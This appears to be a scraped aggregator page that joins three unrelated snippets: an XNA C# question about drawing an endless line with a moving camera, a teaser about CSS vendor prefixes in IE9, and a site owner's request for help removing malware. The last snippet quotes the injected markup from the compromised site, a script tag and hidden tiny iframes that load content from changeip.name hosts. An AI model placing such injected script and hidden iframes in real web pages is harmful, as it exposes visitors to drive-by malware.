    I am drawing a line in XNA which I want to never end. I also have a tool that moves forward in X-direction and a camera which is centered at this tool. However, when I reach the end of the viewport the lines are not drawn anymore. Here are some pictures to illustrate my problem: At the start the line goes across the whole screen, but as my tool moves forward, we reach the end of the line. Here are the method which draws the lines: private void DrawEvenlySpacedSprites (Texture2D texture, Vector2 point1, Vector2 point2, float increment) { var distance = Vector2.Distance (point1, point2); // the distance between two points var iterations = (int)(distance / increment); // how many sprites with be drawn var normalizedIncrement = 1.0f / iterations; // the Lerp method needs values between 0.0 and 1.0 var amount = 0.0f; if (iterations == 0) iterations = 1; for (int i = 0; i < iterations; i++) { var drawPoint = Vector2.Lerp (point1, point2, amount); spriteBatch.Draw (texture, drawPoint, Color.White); amount += normalizedIncrement; } } Here are the draw method in Game. The dots are my lines: protected override void Draw (GameTime gameTime) { graphics.GraphicsDevice.Clear(Color.Black); nyVector = nextVector (gammelVector); GraphicsDevice.SetRenderTarget (renderTarget); spriteBatch.Begin (); DrawEvenlySpacedSprites (dot, gammelVector, nyVector, 0.9F); spriteBatch.End (); GraphicsDevice.SetRenderTarget (null); spriteBatch.Begin (SpriteSortMode.Deferred, BlendState.AlphaBlend, null, null, null, null, camera.transform); spriteBatch.Draw (renderTarget, new Vector2 (), Color.White); spriteBatch.Draw (tool, new Vector2(toolPos.X - (tool.Width/2), toolPos.Y - (tool.Height/2)), Color.White); spriteBatch.End (); gammelVector = new Vector2 (nyVector.X, nyVector.Y); base.Draw (gameTime); } Here's the next vector-method, It just finds me a new point where the line should be drawn with a new X-coordinate between 100 and 200 pixels and a random Y-coordinate between the old vector Y-coordinate and the height of the viewport: Vector2 nextVector (Vector2 vector) { return new Vector2 (vector.X + r.Next(100, 200), r.Next ((int)(vector.Y - 100), viewport.Height)); } Can anyone point me in the right direction here? I'm guessing it has to do with the viewport.width, but I'm not quite sure how to solve it. Thank you for reading!

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  • CSS vendor prefixes considered harmful

    I recently came across a post about border-radius by the IE team, that said IE9 supportsborder-radius (cool!) without vendor prefix (even cooler!)The post continues:While a number of web pages already make use of this feature, some [...] do not render properly in IE9 or Opera 10.50 because they lack an unprefixed declaration of the border-radius property.As the specification nears Recommendation and browser vendors are working on their final implementations and testcases for submission to the W3C,...Did you know that DotNetSlackers also publishes .net articles written by top known .net Authors? We already have over 80 articles in several categories including Silverlight. Take a look: here.

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  • How to remove this malware

    - by muratto12
    Some files in my site contains some extra lines. After I've deleted them manually, I find them corrupted again some time later. it is all coming from http://*.changeip.name/ some js files. How can I remove them? <!--pizda--><script type='text/javascript' src='http://m2.changeip.name/validate.js?ftpid=15035'></script><!--/pizda--> <iframe src=http://pizda.changeip.name/?f=1065433 framebor der=0 marginheight=0 marginwidth=0 scrolling=0 width=5 heigh t=5 border=0> <iframe src=http://kuku.changeip.name/?f=1065433 framebord er=0 marginheight=0 marginwidth=0 scrolling=0 width=5 height =5 border=0>

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